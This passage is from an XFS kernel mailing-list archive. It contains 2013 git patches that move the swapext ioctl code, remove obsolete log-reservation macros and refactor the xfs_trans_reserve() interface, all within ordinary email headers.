files have the same format */ - if ((ip->i_d.di_mode & S_IFMT) != (tip->i_d.di_mode & S_IFMT)) { - error = XFS_ERROR(EINVAL); - goto out_unlock; - } - - /* Verify both files are either real-time or non-realtime */ - if (XFS_IS_REALTIME_INODE(ip) != XFS_IS_REALTIME_INODE(tip)) { - error = XFS_ERROR(EINVAL); - goto out_unlock; - } - - error = -filemap_write_and_wait(VFS_I(tip)->i_mapping); - if (error) - goto out_unlock; - truncate_pagecache_range(VFS_I(tip), 0, -1); - - /* Verify O_DIRECT for ftmp */ - if (VN_CACHED(VFS_I(tip)) != 0) { - error = XFS_ERROR(EINVAL); - goto out_unlock; - } - - /* Verify all data are being swapped */ - if (sxp->sx_offset != 0 || - sxp->sx_length != ip->i_d.di_size || - sxp->sx_length != tip->i_d.di_size) { - error = XFS_ERROR(EFAULT); - goto out_unlock; - } - - trace_xfs_swap_extent_before(ip, 0); - trace_xfs_swap_extent_before(tip, 1); - - /* check inode formats now that data is flushed */ - error = xfs_swap_extents_check_format(ip, tip); - if (error) { - xfs_notice(mp, - "%s: inode 0x%llx format is incompatible for exchanging.", - __func__, ip->i_ino); - goto out_unlock; - } - - /* - * Compare the current change & modify times with that - * passed in. If they differ, we abort this swap. - * This is the mechanism used to ensure the calling - * process that the file was not changed out from - * under it. - */ - if ((sbp->bs_ctime.tv_sec != VFS_I(ip)->i_ctime.tv_sec) || - (sbp->bs_ctime.tv_nsec != VFS_I(ip)->i_ctime.tv_nsec) || - (sbp->bs_mtime.tv_sec != VFS_I(ip)->i_mtime.tv_sec) || - (sbp->bs_mtime.tv_nsec != VFS_I(ip)->i_mtime.tv_nsec)) { - error = XFS_ERROR(EBUSY); - goto out_unlock; - } - - /* We need to fail if the file is memory mapped. Once we have tossed - * all existing pages, the page fault will have no option - * but to go to the filesystem for pages. By making the page fault call - * vop_read (or write in the case of autogrow) they block on the iolock - * until we have switched the extents. - */ - if (VN_MAPPED(VFS_I(ip))) { - error = XFS_ERROR(EBUSY); - goto out_unlock; - } - - xfs_iunlock(ip, XFS_ILOCK_EXCL); - xfs_iunlock(tip, XFS_ILOCK_EXCL); - - /* - * There is a race condition here since we gave up the - * ilock. However, the data fork will not change since - * we have the iolock (locked for truncation too) so we - * are safe. We don't really care if non-io related - * fields change. - */ - truncate_pagecache_range(VFS_I(ip), 0, -1); - - tp = xfs_trans_alloc(mp, XFS_TRANS_SWAPEXT); - if ((error = xfs_trans_reserve(tp, 0, - XFS_ICHANGE_LOG_RES(mp), 0, - 0, 0))) { - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - xfs_iunlock(tip, XFS_IOLOCK_EXCL); - xfs_trans_cancel(tp, 0); - goto out; - } - xfs_lock_two_inodes(ip, tip, XFS_ILOCK_EXCL); - - /* - * Count the number of extended attribute blocks - */ - if ( ((XFS_IFORK_Q(ip) != 0) && (ip->i_d.di_anextents > 0)) && - (ip->i_d.di_aformat != XFS_DINODE_FMT_LOCAL)) { - error = xfs_bmap_count_blocks(tp, ip, XFS_ATTR_FORK, &aforkblks); - if (error) - goto out_trans_cancel; - } - if ( ((XFS_IFORK_Q(tip) != 0) && (tip->i_d.di_anextents > 0)) && - (tip->i_d.di_aformat != XFS_DINODE_FMT_LOCAL)) { - error = xfs_bmap_count_blocks(tp, tip, XFS_ATTR_FORK, - &taforkblks); - if (error) - goto out_trans_cancel; - } - - /* - * Swap the data forks of the inodes - */ - ifp = &ip->i_df; - tifp = &tip->i_df; - *tempifp = *ifp; /* struct copy */ - *ifp = *tifp; /* struct copy */ - *tifp = *tempifp; /* struct copy */ - - /* - * Fix the on-disk inode values - */ - tmp = (__uint64_t)ip->i_d.di_nblocks; - ip->i_d.di_nblocks = tip->i_d.di_nblocks - taforkblks + aforkblks; - tip->i_d.di_nblocks = tmp + taforkblks - aforkblks; - - tmp = (__uint64_t) ip->i_d.di_nextents; - ip->i_d.di_nextents = tip->i_d.di_nextents; - tip->i_d.di_nextents = tmp; - - tmp = (__uint64_t) ip->i_d.di_format; - ip->i_d.di_format = tip->i_d.di_format; - tip->i_d.di_format = tmp; - - /* - * The extents in the source inode could still contain speculative - * preallocation beyond EOF (e.g. the file is open but not modified - * while defrag is in progress). In that case, we need to copy over the - * number of delalloc blocks the data fork in the source inode is - * tracking beyond EOF so that when the fork is truncated away when the - * temporary inode is unlinked we don't underrun the i_delayed_blks - * counter on that inode. - */ - ASSERT(tip->i_delayed_blks == 0); - tip->i_delayed_blks = ip->i_delayed_blks; - ip->i_delayed_blks = 0; - - src_log_flags = XFS_ILOG_CORE; - switch (ip->i_d.di_format) { - case XFS_DINODE_FMT_EXTENTS: - /* If the extents fit in the inode, fix the - * pointer. Otherwise it's already NULL or - * pointing to the extent. - */ - if (ip->i_d.di_nextents <= XFS_INLINE_EXTS) { - ifp->if_u1.if_extents = - ifp->if_u2.if_inline_ext; - } - src_log_flags |= XFS_ILOG_DEXT; - break; - case XFS_DINODE_FMT_BTREE: - src_log_flags |= XFS_ILOG_DBROOT; - break; - } - - target_log_flags = XFS_ILOG_CORE; - switch (tip->i_d.di_format) { - case XFS_DINODE_FMT_EXTENTS: - /* If the extents fit in the inode, fix the - * pointer. Otherwise it's already NULL or - * pointing to the extent. - */ - if (tip->i_d.di_nextents <= XFS_INLINE_EXTS) { - tifp->if_u1.if_extents = - tifp->if_u2.if_inline_ext; - } - target_log_flags |= XFS_ILOG_DEXT; - break; - case XFS_DINODE_FMT_BTREE: - target_log_flags |= XFS_ILOG_DBROOT; - break; - } - - - xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); - xfs_trans_ijoin(tp, tip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); - - xfs_trans_log_inode(tp, ip, src_log_flags); - xfs_trans_log_inode(tp, tip, target_log_flags); - - /* - * If this is a synchronous mount, make sure that the - * transaction goes to disk before returning to the user. - */ - if (mp->m_flags & XFS_MOUNT_WSYNC) - xfs_trans_set_sync(tp); - - error = xfs_trans_commit(tp, 0); - - trace_xfs_swap_extent_after(ip, 0); - trace_xfs_swap_extent_after(tip, 1); -out: - kmem_free(tempifp); - return error; - -out_unlock: - xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); - xfs_iunlock(tip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); - goto out; - -out_trans_cancel: - xfs_trans_cancel(tp, 0); - goto out_unlock; -} diff --git a/fs/xfs/xfs_dfrag.h b/fs/xfs/xfs_dfrag.h deleted file mode 100644 index 20bdd93..0000000 --- a/fs/xfs/xfs_dfrag.h +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_DFRAG_H__ -#define __XFS_DFRAG_H__ - -/* - * Structure passed to xfs_swapext - */ - -typedef struct xfs_swapext -{ - __int64_t sx_version; /* version */ - __int64_t sx_fdtarget; /* fd of target file */ - __int64_t sx_fdtmp; /* fd of tmp file */ - xfs_off_t sx_offset; /* offset into file */ - xfs_off_t sx_length; /* leng from offset */ - char sx_pad[16]; /* pad space, unused */ - xfs_bstat_t sx_stat; /* stat of target b4 copy */ -} xfs_swapext_t; - -/* - * Version flag - */ -#define XFS_SX_VERSION 0 - -#ifdef __KERNEL__ -/* - * Prototypes for visible xfs_dfrag.c routines. - */ - -/* - * Syscall interface for xfs_swapext - */ -int xfs_swapext(struct xfs_swapext *sx); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_DFRAG_H__ */ diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index 68c2e18..74b24b2 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -461,6 +461,21 @@ typedef struct xfs_handle { + (handle).ha_fid.fid_len) /* + * Structure passed to XFS_IOC_SWAPEXT + */ +typedef struct xfs_swapext +{ + __int64_t sx_version; /* version */ +#define XFS_SX_VERSION 0 + __int64_t sx_fdtarget; /* fd of target file */ + __int64_t sx_fdtmp; /* fd of tmp file */ + xfs_off_t sx_offset; /* offset into file */ + xfs_off_t sx_length; /* leng from offset */ + char sx_pad[16]; /* pad space, unused */ + xfs_bstat_t sx_stat; /* stat of target b4 copy */ +} xfs_swapext_t; + +/* * Flags for going down operation */ #define XFS_FSOP_GOING_FLAGS_DEFAULT 0x0 /* going down */ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 557c7b8..efb216d 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -35,7 +35,6 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_buf_item.h" -#include "xfs_dfrag.h" #include "xfs_fsops.h" #include "xfs_discard.h" #include "xfs_quota.h" @@ -1363,6 +1362,75 @@ xfs_ioc_getbmapx( return 0; } +int +xfs_ioc_swapext( + xfs_swapext_t *sxp) +{ + xfs_inode_t *ip, *tip; + struct fd f, tmp; + int error = 0; + + /* Pull information for the target fd */ + f = fdget((int)sxp->sx_fdtarget); + if (!f.file) { + error = XFS_ERROR(EINVAL); + goto out; + } + + if (!(f.file->f_mode & FMODE_WRITE) || + !(f.file->f_mode & FMODE_READ) || + (f.file->f_flags & O_APPEND)) { + error = XFS_ERROR(EBADF); + goto out_put_file; + } + + tmp = fdget((int)sxp->sx_fdtmp); + if (!tmp.file) { + error = XFS_ERROR(EINVAL); + goto out_put_file; + } + + if (!(tmp.file->f_mode & FMODE_WRITE) || + !(tmp.file->f_mode & FMODE_READ) || + (tmp.file->f_flags & O_APPEND)) { + error = XFS_ERROR(EBADF); + goto out_put_tmp_file; + } + + if (IS_SWAPFILE(file_inode(f.file)) || + IS_SWAPFILE(file_inode(tmp.file))) { + error = XFS_ERROR(EINVAL); + goto out_put_tmp_file; + } + + ip = XFS_I(file_inode(f.file)); + tip = XFS_I(file_inode(tmp.file)); + + if (ip->i_mount != tip->i_mount) { + error = XFS_ERROR(EINVAL); + goto out_put_tmp_file; + } + + if (ip->i_ino == tip->i_ino) { + error = XFS_ERROR(EINVAL); + goto out_put_tmp_file; + } + + if (XFS_FORCED_SHUTDOWN(ip->i_mount)) { + error = XFS_ERROR(EIO); + goto out_put_tmp_file; + } + + error = xfs_swap_extents(ip, tip, sxp); + + out_put_tmp_file: + fdput(tmp); + out_put_file: + fdput(f); + out: + return error; +} + /* * Note: some of the ioctl's return positive numbers as a * byte count indicating success, such as readlink_by_handle. @@ -1507,7 +1575,7 @@ xfs_file_ioctl( error = mnt_want_write_file(filp); if (error) return error; - error = xfs_swapext(&sxp); + error = xfs_ioc_swapext(&sxp); mnt_drop_write_file(filp); return -error; } diff --git a/fs/xfs/xfs_ioctl.h b/fs/xfs/xfs_ioctl.h index 1233dee..77c02c7 100644 --- a/fs/xfs/xfs_ioctl.h +++ b/fs/xfs/xfs_ioctl.h @@ -27,6 +27,10 @@ xfs_ioc_space( unsigned int cmd, xfs_flock64_t *bf); +int +xfs_ioc_swapext( + xfs_swapext_t *sxp); + extern int xfs_find_handle( unsigned int cmd, diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index 55a3072..d3ab953 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -33,7 +33,6 @@ #include "xfs_inode.h" #include "xfs_itable.h" #include "xfs_error.h" -#include "xfs_dfrag.h" #include "xfs_fsops.h" #include "xfs_alloc.h" #include "xfs_rtalloc.h" @@ -643,7 +642,7 @@ xfs_file_compat_ioctl( error = mnt_want_write_file(filp); if (error) return error; - error = xfs_swapext(&sxp); + error = xfs_ioc_swapext(&sxp); mnt_drop_write_file(filp); return -error; } -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AE39C7FC9 for ; Fri, 19 Jul 2013 01:26:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6928C304043 for ; Thu, 18 Jul 2013 23:26:00 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c5000e-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id L8vWB5OwB4CW7k6F for ; Thu, 18 Jul 2013 23:25:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtMLAB3b6FF5LK4r/2dsb2JhbABagwbAQIEGBIEWF3SCJAEBBScvMwgYMTkDGxmID7YvjnKBOoNmA6F/hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048F-Ev for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zp-Ar for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 39/49] xfs: Get rid of all XFS_XXX_LOG_RES() macro Date: Fri, 19 Jul 2013 16:25:10 +1000 X-ASG-Orig-Subj: [PATCH 39/49] xfs: Get rid of all XFS_XXX_LOG_RES() macro Message-Id: <1374215120-7271-40-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215158 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of all XFS_XXX_LOG_RES() macros since they are obsoleted now. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/xfs_trans_resv.h | 36 ------------------------------------ 1 file changed, 36 deletions(-) diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index 140d3f3..de7de9a 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -92,42 +92,6 @@ struct xfs_trans_resv { (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) - -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_resv.tr_write.tr_logres) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_resv.tr_rename.tr_logres) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_resv.tr_link.tr_logres) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_resv.tr_remove.tr_logres) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_resv.tr_symlink.tr_logres) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_resv.tr_create.tr_logres) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_resv.tr_mkdir.tr_logres) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_resv.tr_ifree.tr_logres) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_resv.tr_ichange.tr_logres) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_resv.tr_growdata.tr_logres) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_resv.tr_itruncate.tr_logres) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_resv.tr_growrtzero.tr_logres) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_resv.tr_growrtfree.tr_logres) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_resv.tr_growrtalloc.tr_logres) - -/* - * Logging the inode timestamps on an fsync -- same as SWRITE - * as long as SWRITE logs the entire inode core - */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_writeid.tr_logres) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_resv.tr_attrsetrt.tr_logres) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_resv.tr_attrrm.tr_logres) -#define XFS_SB_LOG_RES(mp) ((mp)->m_resv.tr_sb.tr_logres) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_resv.tr_qm_setqlim.tr_logres) -#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_resv.tr_qm_dqalloc.tr_logres) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_resv.tr_qm_sbchange.tr_logres) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_resv.tr_qm_quotaoff.tr_logres) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_resv.tr_qm_equotaoff.tr_logres) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_resv.tr_clearagi.tr_logres) - /* * Various log count values. */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 42AD77FC6 for ; Fri, 19 Jul 2013 01:26:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4CB1AC001 for ; Thu, 18 Jul 2013 23:25:59 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c5000d-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id LOG4VTP4UKgQZhWD for ; Thu, 18 Jul 2013 23:25:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArwLAB3b6FF5LK4r/2dsb2JhbABSCIMGwUYEAYEVF3SCJAEBBRoNLxYdCBgxOQMbGYgPti+OQxYGE4EShA4DoX+HK4MkKoEsAQMFFw Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048D-BX for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zk-9H for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 38/49] xfs: refactor xfs_trans_reserve() interface Date: Fri, 19 Jul 2013 16:25:09 +1000 X-ASG-Orig-Subj: [PATCH 38/49] xfs: refactor xfs_trans_reserve() interface Message-Id: <1374215120-7271-39-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215156 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu With the new xfs_trans_res structure has been introduced, the log reservation size, log count as well as log flags are pre-initialized at mount time. So it's time to refine xfs_trans_reserve() interface to be more neat. Also, introduce a new helper M_RES() to return a pointer to the mp->m_resv structure to simplify the input. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 2 +- fs/xfs/xfs_attr.c | 33 +++++++++-------- fs/xfs/xfs_attr_inactive.c | 5 ++- fs/xfs/xfs_bmap.c | 4 +-- fs/xfs/xfs_bmap_util.c | 42 ++++++++-------------- fs/xfs/xfs_dquot.c | 6 ++-- fs/xfs/xfs_fsops.c | 8 ++--- fs/xfs/xfs_inode.c | 88 +++++++++++++++++++--------------------------- fs/xfs/xfs_ioctl.c | 4 +-- fs/xfs/xfs_iomap.c | 18 ++++------ fs/xfs/xfs_iops.c | 8 ++--- fs/xfs/xfs_log_recover.c | 5 ++- fs/xfs/xfs_mount.c | 9 ++--- fs/xfs/xfs_qm.c | 11 +++--- fs/xfs/xfs_qm_syscalls.c | 13 +++---- fs/xfs/xfs_rtalloc.c | 17 ++++----- fs/xfs/xfs_symlink.c | 10 +++--- fs/xfs/xfs_trans.c | 51 ++++++++++++++------------- fs/xfs/xfs_trans.h | 3 +- fs/xfs/xfs_trans_resv.c | 7 ++-- fs/xfs/xfs_trans_resv.h | 3 ++ 21 files changed, 150 insertions(+), 197 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 79d6b0a..23f23b5 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -116,7 +116,7 @@ xfs_setfilesize_trans_alloc( tp = xfs_trans_alloc(mp, XFS_TRANS_FSYNC_TS); - error = xfs_trans_reserve(tp, 0, XFS_FSYNC_TS_LOG_RES(mp), 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_fsyncts, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return error; diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 046cf3d..176dbb6 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -226,13 +226,14 @@ xfs_attr_set_int( int valuelen, int flags) { - xfs_da_args_t args; - xfs_fsblock_t firstblock; - xfs_bmap_free_t flist; - int error, err2, committed; - xfs_mount_t *mp = dp->i_mount; - int rsvd = (flags & ATTR_ROOT) != 0; - int local; + xfs_da_args_t args; + xfs_fsblock_t firstblock; + xfs_bmap_free_t flist; + int error, err2, committed; + struct xfs_mount *mp = dp->i_mount; + struct xfs_trans_res tres; + int rsvd = (flags & ATTR_ROOT) != 0; + int local; /* * Attach the dquots to the inode. @@ -292,11 +293,11 @@ xfs_attr_set_int( if (rsvd) args.trans->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(args.trans, args.total, - XFS_ATTRSETM_LOG_RES(mp) + - XFS_ATTRSETRT_LOG_RES(mp) * args.total, - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ATTRSET_LOG_COUNT); + tres.tr_logres = M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * args.total; + tres.tr_logcount = XFS_ATTRSET_LOG_COUNT; + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(args.trans, &tres, args.total, 0); if (error) { xfs_trans_cancel(args.trans, 0); return(error); @@ -516,11 +517,9 @@ xfs_attr_remove_int(xfs_inode_t *dp, struct xfs_name *name, int flags) if (flags & ATTR_ROOT) args.trans->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(args.trans, - XFS_ATTRRM_SPACE_RES(mp), - XFS_ATTRRM_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ATTRRM_LOG_COUNT))) { + error = xfs_trans_reserve(args.trans, &M_RES(mp)->tr_attrrm, + XFS_ATTRRM_SPACE_RES(mp), 0); + if (error) { xfs_trans_cancel(args.trans, 0); return(error); } diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index ace95e7..bb24b07 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -412,9 +412,8 @@ xfs_attr_inactive(xfs_inode_t *dp) * the log. */ trans = xfs_trans_alloc(mp, XFS_TRANS_ATTRINVAL); - if ((error = xfs_trans_reserve(trans, 0, XFS_ATTRINVAL_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ATTRINVAL_LOG_COUNT))) { + error = xfs_trans_reserve(trans, &M_RES(mp)->tr_attrinval, 0, 0); + if (error) { xfs_trans_cancel(trans, 0); return(error); } diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 51e07e7..6c2d89e 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -1148,8 +1148,8 @@ xfs_bmap_add_attrfork( blks = XFS_ADDAFORK_SPACE_RES(mp); if (rsvd) tp->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(tp, blks, XFS_ADDAFORK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_ADDAFORK_LOG_COUNT))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_addafork, blks, 0); + if (error) goto error0; xfs_ilock(ip, XFS_ILOCK_EXCL); error = xfs_trans_reserve_quota_nblks(tp, ip, blks, 0, rsvd ? diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index b5232d0..cc2ab9b 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -78,8 +78,7 @@ xfs_bmap_finish( xfs_efi_log_item_t *efi; /* extent free intention */ int error; /* error return value */ xfs_bmap_free_item_t *free; /* free extent item */ - unsigned int logres; /* new log reservation */ - unsigned int logcount; /* new log count */ + struct xfs_trans_res tres; /* new log reservation */ xfs_mount_t *mp; /* filesystem mount structure */ xfs_bmap_free_item_t *next; /* next item on free list */ xfs_trans_t *ntp; /* new transaction pointer */ @@ -94,8 +93,10 @@ xfs_bmap_finish( for (free = flist->xbf_first; free; free = free->xbfi_next) xfs_trans_log_efi_extent(ntp, efi, free->xbfi_startblock, free->xbfi_blockcount); - logres = ntp->t_log_res; - logcount = ntp->t_log_count; + + tres.tr_logres = ntp->t_log_res; + tres.tr_logcount = ntp->t_log_count; + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; ntp = xfs_trans_dup(*tp); error = xfs_trans_commit(*tp, 0); *tp = ntp; @@ -113,8 +114,8 @@ xfs_bmap_finish( */ xfs_log_ticket_put(ntp->t_ticket); - if ((error = xfs_trans_reserve(ntp, 0, logres, 0, XFS_TRANS_PERM_LOG_RES, - logcount))) + error = xfs_trans_reserve(ntp, &tres, 0, 0); + if (error) return error; efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); for (free = flist->xbf_first; free != NULL; free = next) { @@ -929,10 +930,7 @@ xfs_free_eofblocks( } } - error = xfs_trans_reserve(tp, 0, - XFS_ITRUNCATE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); xfs_trans_cancel(tp, 0); @@ -1085,10 +1083,8 @@ xfs_alloc_file_space( * Allocate and setup the transaction. */ tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); - error = xfs_trans_reserve(tp, resblks, - XFS_WRITE_LOG_RES(mp), resrtextents, - XFS_TRANS_PERM_LOG_RES, - 